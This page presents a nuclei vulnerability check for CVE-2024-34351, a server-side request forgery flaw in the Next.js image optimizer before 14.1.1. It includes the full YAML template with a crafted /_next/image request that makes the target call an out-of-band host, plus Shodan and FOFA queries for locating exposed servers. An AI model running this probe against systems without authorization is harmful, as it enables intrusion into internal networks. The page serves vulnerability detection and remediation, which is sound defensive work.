Next.js - Server Side Request Forgery (SSRF)

highseverity

7.5CVSS score

5.5%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

Next.Js, inferior to version 14.1.1, have its image optimization built-in component prone to SSRF.

Impact

Unauthenticated attackers can force the Next.js server to make requests to arbitrary internal or external resources.

Fix

Update Next.js to version 14.1.1 or later.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains "/_next/static"
Send: GET {{BaseURL}}{{chunk_path}}
Positive when: compare_versions(nextjs_ver, '>= 13.4.0', '< 14.1.1')
Send: GET {{BaseURL}}/_next/image?w=16&q=10&url=http://{{interactsh-url}} ; GET {{BaseURL}}/_next/image?w=16&q=10&url=https://{{interactsh-url}}
Positive when: contains in interactsh_protocol "http" AND contains "The requested resource isn't a valid image"

Run it with nuclei: nuclei -id CVE-2024-34351 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-34351

info:
  name: Next.js - Server Side Request Forgery (SSRF)
  author: righettod
  severity: high
  description: |
    Next.Js, inferior to version 14.1.1, have its image optimization built-in component prone to SSRF.
  impact: |
    Unauthenticated attackers can force the Next.js server to make requests to arbitrary internal or external resources.
  remediation: |
    Update Next.js to version 14.1.1 or later.
  reference:
    - https://www.assetnote.io/resources/research/digging-for-ssrf-in-nextjs-apps
    - https://nvd.nist.gov/vuln/detail/CVE-2024-34351
    - https://github.com/vercel/next.js/security/advisories/GHSA-fr5h-rqp8-mj6g
    - https://github.com/vercel/next.js/commit/8f7a6ca7d21a97bc9f7a1bbe10427b5ad74b9085
    - https://github.com/vercel/next.js/pull/62561
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-34351
    cwe-id: CWE-918
    epss-score: 0.05453
    epss-percentile: 0.92803
  metadata:
    max-request: 3
    product: next.js
    shodan-query:
      - http.html:"/_next/static"
      - cpe:"cpe:2.3:a:zeit:next.js"
    fofa-query: body="/_next/static"
  tags: cve,cve2024,vercel,nextjs,ssrf,vuln,oast

flow: |
  http(1)
  if (template["chunk_path"]) {
    if (http(2)) {
      http(3)
    }
  }

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: word
        words:
          - "/_next/static"
        internal: true

    extractors:
      - type: regex
        name: chunk_path
        internal: true
        group: 1
        regex:
          - '"(/_next/static/chunks/main-[a-z0-9]+\.js)"'
          - '"(/_next/static/chunks/[0-9]+-[a-z0-9]+\.js)" async="" crossorigin=""'

  - method: GET
    path:
      - "{{BaseURL}}{{chunk_path}}"

    matchers:
      - type: dsl
        dsl:
          - "compare_versions(nextjs_ver, '>= 13.4.0', '< 14.1.1')"
        internal: true

    extractors:
      - type: regex
        name: nextjs_ver
        internal: true
        group: 1
        regex:
          - '"(1[34]\.\d+\.\d+)"'

  - method: GET
    path:
      - '{{BaseURL}}/_next/image?w=16&q=10&url=http://{{interactsh-url}}'
      - '{{BaseURL}}/_next/image?w=16&q=10&url=https://{{interactsh-url}}'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body
        words:
          - "The requested resource isn't a valid image"

References

Use this check only on systems you are authorised to test. Where the data comes from